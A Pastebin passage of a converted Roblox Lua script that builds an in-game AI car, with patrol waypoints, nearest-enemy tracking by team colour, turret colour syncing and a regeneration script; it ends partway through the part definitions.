Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Model1 = Instance.new("Model")
- Model2 = Instance.new("Model")
- Part3 = Instance.new("Part")
- Part4 = Instance.new("Part")
- Part5 = Instance.new("Part")
- Part6 = Instance.new("Part")
- Part7 = Instance.new("Part")
- Part8 = Instance.new("Part")
- BodyGyro9 = Instance.new("BodyGyro")
- Script10 = Instance.new("Script")
- StringValue11 = Instance.new("StringValue")
- Script12 = Instance.new("Script")
- Model13 = Instance.new("Model")
- Humanoid14 = Instance.new("Humanoid")
- Script15 = Instance.new("Script")
- Part16 = Instance.new("Part")
- IntValue17 = Instance.new("IntValue")
- BoolValue18 = Instance.new("BoolValue")
- Script19 = Instance.new("Script")
- Model20 = Instance.new("Model")
- Model21 = Instance.new("Model")
- Part22 = Instance.new("Part")
- SpecialMesh23 = Instance.new("SpecialMesh")
- Part24 = Instance.new("Part")
- Part25 = Instance.new("Part")
- Part26 = Instance.new("Part")
- Part27 = Instance.new("Part")
- SpecialMesh28 = Instance.new("SpecialMesh")
- Part29 = Instance.new("Part")
- SpecialMesh30 = Instance.new("SpecialMesh")
- Part31 = Instance.new("Part")
- Part32 = Instance.new("Part")
- SpecialMesh33 = Instance.new("SpecialMesh")
- Part34 = Instance.new("Part")
- Part35 = Instance.new("Part")
- Part36 = Instance.new("Part")
- SpecialMesh37 = Instance.new("SpecialMesh")
- Part38 = Instance.new("Part")
- Part39 = Instance.new("Part")
- SpecialMesh40 = Instance.new("SpecialMesh")
- Part41 = Instance.new("Part")
- SpecialMesh42 = Instance.new("SpecialMesh")
- Part43 = Instance.new("Part")
- SpecialMesh44 = Instance.new("SpecialMesh")
- Part45 = Instance.new("Part")
- Part46 = Instance.new("Part")
- Part47 = Instance.new("Part")
- SpecialMesh48 = Instance.new("SpecialMesh")
- Part49 = Instance.new("Part")
- Part50 = Instance.new("Part")
- Part51 = Instance.new("Part")
- Part52 = Instance.new("Part")
- SpecialMesh53 = Instance.new("SpecialMesh")
- Part54 = Instance.new("Part")
- Part55 = Instance.new("Part")
- Part56 = Instance.new("Part")
- Part57 = Instance.new("Part")
- Part58 = Instance.new("Part")
- Part59 = Instance.new("Part")
- Part60 = Instance.new("Part")
- Part61 = Instance.new("Part")
- Part62 = Instance.new("Part")
- Part63 = Instance.new("Part")
- Part64 = Instance.new("Part")
- Part65 = Instance.new("Part")
- SpecialMesh66 = Instance.new("SpecialMesh")
- Part67 = Instance.new("Part")
- Part68 = Instance.new("Part")
- Model69 = Instance.new("Model")
- Part70 = Instance.new("Part")
- Part71 = Instance.new("Part")
- SpecialMesh72 = Instance.new("SpecialMesh")
- Part73 = Instance.new("Part")
- SpecialMesh74 = Instance.new("SpecialMesh")
- Part75 = Instance.new("Part")
- SpecialMesh76 = Instance.new("SpecialMesh")
- Part77 = Instance.new("Part")
- SpecialMesh78 = Instance.new("SpecialMesh")
- Part79 = Instance.new("Part")
- Part80 = Instance.new("Part")
- Part81 = Instance.new("Part")
- SpecialMesh82 = Instance.new("SpecialMesh")
- Part83 = Instance.new("Part")
- Part84 = Instance.new("Part")
- SpecialMesh85 = Instance.new("SpecialMesh")
- Part86 = Instance.new("Part")
- Part87 = Instance.new("Part")
- SpecialMesh88 = Instance.new("SpecialMesh")
- Part89 = Instance.new("Part")
- SpecialMesh90 = Instance.new("SpecialMesh")
- Part91 = Instance.new("Part")
- SpecialMesh92 = Instance.new("SpecialMesh")
- Part93 = Instance.new("Part")
- SpecialMesh94 = Instance.new("SpecialMesh")
- Model95 = Instance.new("Model")
- Part96 = Instance.new("Part")
- SpecialMesh97 = Instance.new("SpecialMesh")
- Part98 = Instance.new("Part")
- Part99 = Instance.new("Part")
- Part100 = Instance.new("Part")
- SpecialMesh101 = Instance.new("SpecialMesh")
- Part102 = Instance.new("Part")
- Script103 = Instance.new("Script")
- StringValue104 = Instance.new("StringValue")
- IntValue105 = Instance.new("IntValue")
- BoolValue106 = Instance.new("BoolValue")
- BoolValue107 = Instance.new("BoolValue")
- BrickColorValue108 = Instance.new("BrickColorValue")
- Script109 = Instance.new("Script")
- BoolValue110 = Instance.new("BoolValue")
- Model111 = Instance.new("Model")
- Part112 = Instance.new("Part")
- Model113 = Instance.new("Model")
- Part114 = Instance.new("Part")
- Script115 = Instance.new("Script")
- BodyGyro116 = Instance.new("BodyGyro")
- BodyPosition117 = Instance.new("BodyPosition")
- Part118 = Instance.new("Part")
- Part119 = Instance.new("Part")
- Model120 = Instance.new("Model")
- Part121 = Instance.new("Part")
- Part122 = Instance.new("Part")
- Script123 = Instance.new("Script")
- Script124 = Instance.new("Script")
- IntValue125 = Instance.new("IntValue")
- ObjectValue126 = Instance.new("ObjectValue")
- BoolValue127 = Instance.new("BoolValue")
- Script128 = Instance.new("Script")
- Model129 = Instance.new("Model")
- Part130 = Instance.new("Part")
- SpecialMesh131 = Instance.new("SpecialMesh")
- Part132 = Instance.new("Part")
- SpecialMesh133 = Instance.new("SpecialMesh")
- Part134 = Instance.new("Part")
- SpecialMesh135 = Instance.new("SpecialMesh")
- Part136 = Instance.new("Part")
- SpecialMesh137 = Instance.new("SpecialMesh")
- Part138 = Instance.new("Part")
- SpecialMesh139 = Instance.new("SpecialMesh")
- Part140 = Instance.new("Part")
- SpecialMesh141 = Instance.new("SpecialMesh")
- Part142 = Instance.new("Part")
- SpecialMesh143 = Instance.new("SpecialMesh")
- Part144 = Instance.new("Part")
- Part145 = Instance.new("Part")
- SpecialMesh146 = Instance.new("SpecialMesh")
- Model147 = Instance.new("Model")
- Part148 = Instance.new("Part")
- Part149 = Instance.new("Part")
- SpecialMesh150 = Instance.new("SpecialMesh")
- Part151 = Instance.new("Part")
- Part152 = Instance.new("Part")
- SpecialMesh153 = Instance.new("SpecialMesh")
- Part154 = Instance.new("Part")
- SpecialMesh155 = Instance.new("SpecialMesh")
- Part156 = Instance.new("Part")
- SpecialMesh157 = Instance.new("SpecialMesh")
- BoolValue158 = Instance.new("BoolValue")
- BrickColorValue159 = Instance.new("BrickColorValue")
- BoolValue160 = Instance.new("BoolValue")
- BoolValue161 = Instance.new("BoolValue")
- IntValue162 = Instance.new("IntValue")
- Humanoid163 = Instance.new("Humanoid")
- IntValue164 = Instance.new("IntValue")
- IntValue165 = Instance.new("IntValue")
- Script166 = Instance.new("Script")
- Script167 = Instance.new("Script")
- Model0.Name = "AiCar"
- Model0.Parent = mas
- Model1.Name = "Parts"
- Model1.Parent = Model0
- Model2.Name = "Wheels"
- Model2.Parent = Model1
- Part3.Name = "RLWheel"
- Part3.Parent = Model2
- Part3.BrickColor = BrickColor.new("Black")
- Part3.Rotation = Vector3.new(120.599998, 0.939999998, 178.940002)
- Part3.RotVelocity = Vector3.new(11.4377346, 2.73806024, 0.202303275)
- Part3.Velocity = Vector3.new(-0.671034873, -0.109069154, 12.2233582)
- Part3.FormFactor = Enum.FormFactor.Symmetric
- Part3.Shape = Enum.PartType.Cylinder
- Part3.Size = Vector3.new(3, 3, 3)
- Part3.CFrame = CFrame.new(-40.6017265, 2.09922552, 124.399231, -0.999689043, -0.0184935201, 0.0163928606, -0.0235223789, 0.50862962, -0.860664129, 0.00757821277, -0.860780478, -0.50890553)
- Part3.BottomSurface = Enum.SurfaceType.Smooth
- Part3.RightSurface = Enum.SurfaceType.Motor
- Part3.TopSurface = Enum.SurfaceType.Smooth
- Part3.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part3.Position = Vector3.new(-40.6017265, 2.09922552, 124.399231)
- Part3.Orientation = Vector3.new(59.3899994, 178.159988, -2.64999986)
- Part3.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part4.Name = "FLWheel"
- Part4.Parent = Model2
- Part4.BrickColor = BrickColor.new("Black")
- Part4.Rotation = Vector3.new(78.2999954, 1.12, -179.529999)
- Part4.RotVelocity = Vector3.new(37.8817902, 0.366261661, -0.159311146)
- Part4.Velocity = Vector3.new(0.25110507, 0.197964758, 17.8664207)
- Part4.FormFactor = Enum.FormFactor.Symmetric
- Part4.Shape = Enum.PartType.Cylinder
- Part4.Size = Vector3.new(3, 3, 3)
- Part4.CFrame = CFrame.new(-40.5157928, 2.09787703, 135.502441, -0.999769151, 0.00824512914, 0.0195530448, -0.0208184384, -0.202596843, -0.979040921, -0.0041115107, -0.979220271, 0.202721402)
- Part4.BottomSurface = Enum.SurfaceType.Smooth
- Part4.RightSurface = Enum.SurfaceType.Motor
- Part4.TopSurface = Enum.SurfaceType.Smooth
- Part4.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part4.Position = Vector3.new(-40.5157928, 2.09787703, 135.502441)
- Part4.Orientation = Vector3.new(78.25, 5.50999975, -174.12999)
- Part4.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part5.Name = "FRWheel"
- Part5.Parent = Model2
- Part5.BrickColor = BrickColor.new("Black")
- Part5.Rotation = Vector3.new(-102.329994, 1.02999997, 0.889999986)
- Part5.RotVelocity = Vector3.new(37.6021576, -0.547226965, -0.110472873)
- Part5.Velocity = Vector3.new(-0.187616169, -0.317109108, 17.0779247)
- Part5.FormFactor = Enum.FormFactor.Symmetric
- Part5.Shape = Enum.PartType.Cylinder
- Part5.Size = Vector3.new(3, 3, 3)
- Part5.CFrame = CFrame.new(-51.5149384, 2.09723473, 135.543533, 0.999709547, -0.0156036913, 0.018060863, -0.020974813, -0.213236988, 0.976775467, -0.0113894492, -0.976868629, -0.213501915)
- Part5.BottomSurface = Enum.SurfaceType.Smooth
- Part5.RightSurface = Enum.SurfaceType.Motor
- Part5.TopSurface = Enum.SurfaceType.Smooth
- Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part5.Position = Vector3.new(-51.5149384, 2.09723473, 135.543533)
- Part5.Orientation = Vector3.new(-77.6299973, 175.160004, -174.37999)
- Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part6.Name = "RRWheel"
- Part6.Parent = Model2
- Part6.BrickColor = BrickColor.new("Black")
- Part6.Rotation = Vector3.new(-64.75, 1.46999991, 0.0700000003)
- Part6.RotVelocity = Vector3.new(25.0920029, -0.398336321, -0.469362795)
- Part6.Velocity = Vector3.new(-0.69550544, -0.087056458, 16.5394554)
- Part6.FormFactor = Enum.FormFactor.Symmetric
- Part6.Shape = Enum.PartType.Cylinder
- Part6.Size = Vector3.new(3, 3, 3)
- Part6.CFrame = CFrame.new(-51.600708, 2.09674978, 124.494125, 0.999666154, -0.0012761876, 0.0255871303, -0.0225983076, 0.426574051, 0.904170275, -0.0120680872, -0.904444993, 0.426402092)
- Part6.BottomSurface = Enum.SurfaceType.Smooth
- Part6.RightSurface = Enum.SurfaceType.Motor
- Part6.TopSurface = Enum.SurfaceType.Smooth
- Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part6.Position = Vector3.new(-51.600708, 2.09674978, 124.494125)
- Part6.Orientation = Vector3.new(-64.7099991, 3.42999983, -3.02999997)
- Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part7.Name = "BSensor"
- Part7.Parent = Model1
- Part7.BrickColor = BrickColor.new("White")
- Part7.Rotation = Vector3.new(-179.229996, 89.4899979, 179.5)
- Part7.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part7.Velocity = Vector3.new(-0.583751321, -0.557341218, 14.9268761)
- Part7.Size = Vector3.new(1, 1.20000005, 8)
- Part7.CFrame = CFrame.new(-46.1015892, 2.34793091, 124.44252, -0.00775486277, -6.74181647e-05, 0.999960005, 0.00475054095, 0.999988735, 0.000104205756, -0.999945402, 0.00475120218, -0.00775338616)
- Part7.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part7.Position = Vector3.new(-46.1015892, 2.34793091, 124.44252)
- Part7.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part7.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part8.Name = "Engine"
- Part8.Parent = Model1
- Part8.BrickColor = BrickColor.new("White")
- Part8.Rotation = Vector3.new(177.369995, -0.219999999, 179.98999)
- Part8.RotVelocity = Vector3.new(-1.13230169, -0.0245904382, -0.00745510031)
- Part8.Velocity = Vector3.new(0.107708216, 0.541628122, 16.6579399)
- Part8.CanCollide = false
- Part8.Size = Vector3.new(8, 1.20000005, 1)
- Part8.CFrame = CFrame.new(-46.0156784, 2.35185194, 135.492783, -0.999987185, -0.000261576526, -0.00377563667, -8.8059518e-05, 0.998947144, -0.0458760969, 0.00378306769, -0.0458750539, -0.998932481)
- Part8.TopSurface = Enum.SurfaceType.Smooth
- Part8.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part8.Position = Vector3.new(-46.0156784, 2.35185194, 135.492783)
- Part8.Orientation = Vector3.new(2.62999988, -179.779999, -0.00999999978)
- Part8.Color = Color3.new(0.94902, 0.952941, 0.952941)
- BodyGyro9.Parent = Part8
- BodyGyro9.CFrame = CFrame.new(20, 2.20000005, -15.5, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- BodyGyro9.maxTorque = Vector3.new(100, 0, 100)
- BodyGyro9.P = 100
- BodyGyro9.D = 5
- BodyGyro9.MaxTorque = Vector3.new(100, 0, 100)
- Script10.Parent = Part8
- table.insert(cors,sandbox(Script10,function()
- --base = script.Parent.Parent.Base
- local ZombieTarget = script.Parent.Parent.Parent["Target Zombies"]
- local HumanoidTarget = script.Parent.Parent.Parent["Target Humanoids"]
- local isTeamGame = script.Parent.Parent.Parent.TeamGame
- local MyTeamColor = script.Parent.Parent.Parent.TeamColor
- local SightRadius = script.Parent.Parent.Parent.ScanRange
- local MyStatus = script.Parent.Parent.MyStatus
- local patrolling = script.Parent.Parent.Patroling
- function move(target, engine)
- local origincframe = engine:findFirstChild("BodyGyro").cframe
- local dir = (target - engine.Position).unit
- local spawnPos = engine.Position
- local pos = spawnPos + dir
- engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(0,90, 0)
- engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos+dir)
- end
- function findNearestTorso(pos)
- local list = game.Workspace:children()
- local torso = nil
- local dist = SightRadius.Value
- local temp = nil
- local human = nil
- local temp2 = nil
- for x = 1, #list do
- temp2 = list[x]
- if (temp2.className == "Model") and (temp2 ~= script.Parent.Parent) then
- temp = temp2:findFirstChild("Torso")
- human = temp2:findFirstChild("Zombie") or temp2:findFirstChild("Humanoid")
- local player = game.Players:GetPlayerFromCharacter(temp2)
- local Ai = temp2:findFirstChild("Brain") or temp2:findFirstChild("Parts")
- if(Ai ~= nil) then -- for my turrets and cars etc....
- local LP = Ai:findFirstChild("TurretEngine") -- For our Turrets
- local EN = Ai:findFirstChild("Engine") -- for our Ai Cars etc...
- local MyAiCar = script.Parent.Parent.Parent.Parent
- local TeamColor = Ai.Parent:findFirstChild("TeamColor")
- local TeamGame = Ai.Parent:findFirstChild("TeamGame")
- if(LP ~= nil) then
- if(TeamColor ~= nil and TeamGame ~= nil) then
- if(TeamGame.Value == true) then
- if(TeamColor.Value ~= MyTeamColor.Value) then
- if (LP.Position - pos).magnitude < dist then
- torso = LP
- dist = (LP.Position - pos).magnitude
- end
- end
- else
- if (LP.Position - pos).magnitude < dist then
- torso = LP
- dist = (LP.Position - pos).magnitude
- end
- end
- end
- end
- if(EN ~= nil) then
- if(TeamColor ~= nil and TeamGame ~= nil) then
- if(TeamGame.Value == true) then
- if(TeamColor.Value ~= MyTeamColor.Value) then
- if (EN.Position - pos).magnitude < dist then
- torso =EN
- dist = (EN.Position - pos).magnitude
- end
- end
- end
- else
- if(TeamColor ~= nil and TeamGame ~= nil) then
- if(TeamGame.Value == true) then
- if(TeamColor.Value ~= MyTeamColor.Value) then
- if (EN.Position - pos).magnitude < dist then
- torso =EN
- dist = (EN.Position - pos).magnitude
- end
- end
- else
- if (EN.Position - pos).magnitude < dist then
- torso = EN
- dist = (EN.Position - pos).magnitude
- end
- end
- end
- end
- end
- end
- if(human ~= nil or temp ~= nil) then -- just for humanoids and zombies
- if(ZombieTarget.Value == true and HumanoidTarget.Value == false) then
- if(human.Name ~= "Zombie") then
- human = nil
- temp = nil
- end
- end
- if(HumanoidTarget.Value == true and ZombieTarget.Value == false)then
- if(human.Name ~= "Humanoid") then
- human = nil
- temp = nil
- else
- if(player ~= nil) then
- if(isTeamGame.Value == true) then
- if(player.TeamColor == MyTeamColor.Value) then
- human = nil
- temp = nil
- end
- end
- end
- end
- end
- if(HumanoidTarget.Value == true and ZombieTarget.Value == true)then
- if(player ~= nil) then
- if(isTeamGame.Value == true) then
- if(player.TeamColor == MyTeamColor.Value) then
- human = nil
- temp = nil
- end
- end
- end
- end
- if(HumanoidTarget.Value == false and ZombieTarget.Value == false)then
- temp = nil
- human = nil
- end
- end
- if (temp ~= nil and human ~= nil) then
- if (temp.Position - pos).magnitude < dist and human.Health > 0 then
- torso = temp
- dist = (temp.Position - pos).magnitude
- end
- end
- end
- end
- return torso
- end
- function patrol()
- local myPathName = script.Parent.Parent.Parent.MyPathName.Value
- local Wheels = script.Parent.Parent.Wheels
- local FRWheel = Wheels.FRWheel
- local FLWheel = Wheels.FLWheel
- local RLWheel = Wheels.RLWheel
- local RRWheel = Wheels.RRWheel
- if(myPathName == nil) then return end
- local MyPatrol = game.Workspace:findFirstChild(myPathName)
- if(MyPatrol == nil) then return end
- if points==nil then
- points=0
- nextPoint = script.Parent.Parent.PatrolPoint
- nextPoint.Value = 1
- PP = {}
- Pnum = MyPatrol:children()
- for i = 1, #Pnum do
- if MyPatrol:findFirstChild("VPP"..i)~=nil then
- PP[i] =MyPatrol:findFirstChild("VPP"..i)
- points=points+1
- end
- end
- end
- if points<1 then return end
- patrolling.Value=true
- local time=math.random(3,5) -- wait time
- if points==1 then return end
- if points>1 then
- script.Parent.BodyGyro.P = 4000
- script.Parent.BodyGyro.D = 200
- FRWheel.RightParamB = -1
- FLWheel.RightParamB = 1
- RLWheel.RightParamB = 1
- RRWheel.RightParamB = -1
- move(PP[nextPoint.Value].Position,script.Parent)
- while patrolling.Value==true do
- local target = findNearestTorso(script.Parent.Position)
- if target ~= nil then
- patrolling.Value = false
- end
- T = script.Parent
- if(T ~= nil) then
- dis = (T.Position - PP[nextPoint.Value].Position).magnitude
- move(PP[nextPoint.Value].Position,script.Parent)
- if(dis < 50) then
- if(nextPoint.Value < #PP) then
- nextPoint.Value=nextPoint.Value+1
- else
- nextPoint.Value = 1
- end
- --wait(time)
- end
- end
- wait(.1)
- end
- end
- end
- script.Parent.BodyGyro.cframe = script.Parent.CFrame
- wait(1)
- while true do
- local Wheels = script.Parent.Parent.Wheels
- local FRWheel = Wheels.FRWheel
- local FLWheel = Wheels.FLWheel
- local RLWheel = Wheels.RLWheel
- local RRWheel = Wheels.RRWheel
- local BSensor = script.Parent.Parent.BSensor
- target = findNearestTorso(script.Parent.Position)
- if(target ~= nil) then
- MyStatus.Value = "Tracking Enemy"
- patrolling.Value = false
- if((target.Position - script.Parent.Position).magnitude > 80) then
- script.Parent.BodyGyro.cframe = script.Parent.CFrame
- script.Parent.BodyGyro.P = 4000
- script.Parent.BodyGyro.D = 200
- move(target.Position,script.Parent)
- FRWheel.RightParamB = -1
- FLWheel.RightParamB = 1
- RLWheel.RightParamB = 1
- RRWheel.RightParamB = -1
- else
- if(((target.Position - script.Parent.Position).magnitude < 60) and (target.Position - script.Parent.Position).magnitude < (target.Position - BSensor.Position).magnitude) then
- script.Parent.BodyGyro.cframe = script.Parent.CFrame
- script.Parent.BodyGyro.P = 4000
- script.Parent.BodyGyro.D = 200
- move(target.Position,script.Parent)
- FRWheel.RightParamB = 1
- FLWheel.RightParamB = -1
- RLWheel.RightParamB = -1
- RRWheel.RightParamB = 1
- elseif(((target.Position - BSensor.Position).magnitude < 60) and (target.Position - script.Parent.Position).magnitude > (target.Position - BSensor.Position).magnitude) then
- script.Parent.BodyGyro.cframe = script.Parent.CFrame
- script.Parent.BodyGyro.P = 4000
- script.Parent.BodyGyro.D = 200
- move(target.Position,script.Parent)
- FRWheel.RightParamB = -1
- FLWheel.RightParamB = 1
- RLWheel.RightParamB = 1
- RRWheel.RightParamB = -1
- elseif(((target.Position - script.Parent.Position).magnitude > 60) and (target.Position - script.Parent.Position).magnitude >60) then
- FRWheel.RightParamB = 0
- FLWheel.RightParamB = 0
- RLWheel.RightParamB = 0
- RRWheel.RightParamB = 0
- end
- end
- else
- local myPathName = script.Parent.Parent.Parent.MyPathName.Value
- if(myPathName ~= nil) then
- local PathGroup = game.Workspace:findFirstChild(myPathName)
- if(PathGroup ~= nil) then
- local check = PathGroup:children()
- if(#check >1) then
- MyStatus.Value = "Patroling"
- patrolling.Value = true
- patrol()
- else
- MyStatus.Value = "None"
- patrolling.Value = false
- end
- end
- else
- patrolling.Value = false
- end
- if(patrolling.Value == false) then
- MyStatus.Value = "Guarding"
- FRWheel.RightParamB = 0
- FLWheel.RightParamB = 0
- RLWheel.RightParamB = 0
- RRWheel.RightParamB = 0
- end
- end
- wait(0)
- end
- end))
- StringValue11.Name = "MyStatus"
- StringValue11.Parent = Model1
- Script12.Name = "Turret+ColorUpdater"
- Script12.Parent = Model1
- table.insert(cors,sandbox(Script12,function()
- local ZombieTarget = script.Parent.Parent["Target Zombies"]
- local HumanoidTarget = script.Parent.Parent["Target Humanoids"]
- local isTeamGame = script.Parent.Parent.TeamGame
- local MyTeamColor = script.Parent.Parent.TeamColor
- local SightRadius = script.Parent.Parent.ScanRange
- local Base = script.Parent.Parent
- local StatusBrick = script.Parent["Status"]
- function getOwnTurrets(base)
- local bits = base:children()
- local Turrets = {}
- local Tnum = 1
- for i=1,#bits do
- local tmp = bits[i]
- local TurretBrain = tmp:findFirstChild("Brain")
- if(TurretBrain ~= nil) then
- Turrets[Tnum] = TurretBrain.Parent
- Tnum = Tnum +1
- end
- end
- if(#Turrets > 0) then
- return Turrets
- else
- return nil
- end
- end
- function updateTurrets()
- local MyTurrets = getOwnTurrets(Base)
- if(MyTurrets ~= nil) then -- Update our Turrets
- for i=1, #MyTurrets do
- local TZombieTarget = MyTurrets[i]["Target Zombies"]
- local THumanoidTarget = MyTurrets[i]["Target Humanoids"]
- local TisTeamGame = MyTurrets[i].TeamGame
- local TMyTeamColor = MyTurrets[i].TeamColor
- local TSightRadius = MyTurrets[i].ScanRange
- TZombieTarget.Value = ZombieTarget.Value
- THumanoidTarget.Value = HumanoidTarget.Value
- TisTeamGame.Value = isTeamGame.Value
- TMyTeamColor.Value = MyTeamColor.Value
- if(SightRadius.Value > 100) then
- TSightRadius.Value = SightRadius.Value - 100
- else
- TSightRadius.Value = SightRadius.Value
- end
- end
- end
- setTeam()
- end
- function retriveParts(model,myColor)
- local raw_model = model:GetChildren()
- for i=1,#raw_model do
- local part = raw_model[i]
- if(part ~= nil and part.className == "Part") then
- part.BrickColor = myColor
- end
- end
- end
- function setTeam()
- local isTeamGame = script.Parent.Parent.TeamGame.Value
- local BSensor = script.Parent:findFirstChild("BSensor")
- local Engine = script.Parent:findFirstChild("Engine")
- local SHead = nil
- if(StatusBrick ~= nil) then
- SHead = StatusBrick:findFirstChild("Head")
- end
- if(isTeamGame == true) then
- retriveParts(script.Parent.Parent.BodyWork.TeamColors,script.Parent.Parent.TeamColor.Value)
- if(SHead ~= nil) then
- SHead.BrickColor = script.Parent.Parent.TeamColor.Value
- end
- if(BSensor ~= nil) then
- BSensor.BrickColor = script.Parent.Parent.TeamColor.Value
- end
- if(Engine ~= nil) then
- Engine.BrickColor = script.Parent.Parent.TeamColor.Value
- end
- else
- retriveParts(script.Parent.Parent.BodyWork.TeamColors,BrickColor.new("Dark stone grey"))
- if(SHead ~= nil) then
- SHead.BrickColor = BrickColor.new("Dark stone grey")
- end
- if(BSensor ~= nil) then
- BSensor.BrickColor = BrickColor.new("Dark stone grey")
- end
- if(Engine ~= nil) then
- Engine.BrickColor = BrickColor.new("Dark stone grey")
- end
- end
- end
- updateTurrets()
- ZombieTarget.Changed:connect(updateTurrets)
- HumanoidTarget.Changed:connect(updateTurrets)
- isTeamGame.Changed:connect(updateTurrets)
- MyTeamColor.Changed:connect(updateTurrets)
- SightRadius.Changed:connect(updateTurrets)
- end))
- Model13.Name = "Status : "
- Model13.Parent = Model1
- Humanoid14.Parent = Model13
- Humanoid14.Health = 0
- Humanoid14.MaxHealth = 0
- Script15.Parent = Model13
- table.insert(cors,sandbox(Script15,function()
- local myStatus = script.Parent.Parent.MyStatus
- wait(.1)
- while true do
- local Patroling = script.Parent.Parent.Patroling
- if(Patroling.Value == false) then
- script.Parent.Name = "Status : "..myStatus.Value
- else
- script.Parent.Name ="Patroling to Waypoint "..script.Parent.Parent.PatrolPoint.Value
- end
- wait(.1)
- end
- end))
- Part16.Name = "Head"
- Part16.Parent = Model13
- Part16.BrickColor = BrickColor.new("White")
- Part16.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part16.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part16.Velocity = Vector3.new(0.0491989553, 1.04357886, 14.4499683)
- Part16.Size = Vector3.new(8, 1.20000005, 3)
- Part16.CFrame = CFrame.new(-46.0087509, 5.89088535, 136.458984, 0.999963939, -6.74084877e-05, 0.00775468862, 0.000104216793, 0.999988735, -0.00475055212, -0.00775363203, 0.00475121522, 0.999950647)
- Part16.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part16.Position = Vector3.new(-46.0087509, 5.89088535, 136.458984)
- Part16.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part16.Color = Color3.new(0.94902, 0.952941, 0.952941)
- IntValue17.Name = "PatrolPoint"
- IntValue17.Parent = Model1
- BoolValue18.Name = "Patroling"
- BoolValue18.Parent = Model1
- Script19.Name = "REGENScript"
- Script19.Parent = Model1
- table.insert(cors,sandbox(Script19,function()
- model = script.Parent.Parent
- backup = model:clone()
- active = false
- function getOwnTurrets(base)
- local bits = base:children()
- local Turrets = {}
- local Tnum = 1
- for i=1,#bits do
- local tmp = bits[i]
- local TurretBrain = tmp:findFirstChild("Brain")
- if(TurretBrain ~= nil) then
- Turrets[Tnum] = TurretBrain.Parent
- Tnum = Tnum +1
- end
- end
- if(#Turrets > 0) then
- return Turrets
- else
- return nil
- end
- end
- local MyTurrets = getOwnTurrets(model)
- local NumTurrets = 0
- local TDes = 0
- if(MyTurrets ~= nil) then -- disable the turrets regen script
- NumTurrets = #MyTurrets
- for i=1,#MyTurrets do
- local TurretRegenScript = MyTurrets[i]:findFirstChild("RegenScript")
- if(TurretRegenScript ~= nil) then
- TurretRegenScript.Disabled = true
- end
- end
- end
- function Regen(part)
- if(MyTurrets ~= nil) then
- for i=1,#MyTurrets do
- if(MyTurrets[i]:findFirstChild("Brain") ~= nil) then
- local Check = MyTurrets[i].Brain.Destroyed.Value
- if(Check == true) then
- TDes=TDes+1
- break
- end
- else
- TDes=TDes+1
- break
- end
- end
- end
- if(NumTurrets == TDes or script.Parent:findFirstChild("Engine") == nil) then
- if(active == false) then
- active = true
- script.Parent:breakJoints()
- if(script.Parent:findFirstChild("Brain") ~= nil) then
- script.Parent.Brain.Destroyed.Value = true
- end
- wait(1)
- model:remove()
- model = backup:Clone()
- wait(10)
- model.Parent = game.Workspace
- model:MakeJoints()
- end
- end
- end
- function retriveParts(model,myColor)
- local raw_model = model:GetChildren()
- for i=1,#raw_model do
- local part = raw_model[i]
- if(part ~= nil) then
- part.BrickColor = myColor
- end
- end
- end
- function setTeam(Turret)
- local brain = Turret.Brain
- local isTeamGame = script.Parent.Parent.TeamGame.Value
- if(isTeamGame == true) then
- retriveParts(Turret.BodyKit.TeamColorBricks,script.Parent.Parent.TeamColor.Value)
- if(brain:findFirstChild("Point") ~= nil) then
- brain.Point.BrickColor = script.Parent.Parent.TeamColor.Value
- end
- if(brain:findFirstChild("TurretEngine") ~= nil) then
- brain.TurretEngine.BrickColor = script.Parent.Parent.TeamColor.Value
- end
- if(script.Parent:findFirstChild("Head") ~= nil) then
- script.Parent.Head.BrickColor = script.Parent.Parent.TeamColor.Value
- end
- else
- retriveParts(Turret.BodyKit.TeamColorBricks,BrickColor.new("Dark stone grey"))
- if(brain:findFirstChild("Point") ~= nil) then
- brain.Point.BrickColor = BrickColor.new("Dark stone grey")
- end
- if(brain:findFirstChild("TurretEngine") ~= nil) then
- brain.TurretEngine.BrickColor = BrickColor.new("Dark stone grey")
- end
- if(script.Parent:findFirstChild("Head") ~= nil) then
- script.Parent.Head.BrickColor = BrickColor.new("Dark stone grey")
- end
- end
- end
- function color()
- if(MyTurrets ~= nil) then
- for i=1,#MyTurrets do
- setTeam(MyTurrets[i])
- end
- end
- end
- color()
- script.Parent.Parent.TeamColor.Changed:connect(color)
- script.Parent.Parent.TeamGame.Changed:connect(color)
- script.Parent.ChildRemoved:connect(Regen)
- end))
- Model20.Name = "BodyWork"
- Model20.Parent = Model0
- Model21.Name = "TeamColors"
- Model21.Parent = Model20
- Part22.Name = "Smooth Block Model"
- Part22.Parent = Model21
- Part22.BrickColor = BrickColor.new("White")
- Part22.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
- Part22.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part22.Velocity = Vector3.new(-0.367865503, -0.265364259, 14.2862606)
- Part22.Size = Vector3.new(6, 1.20000005, 1)
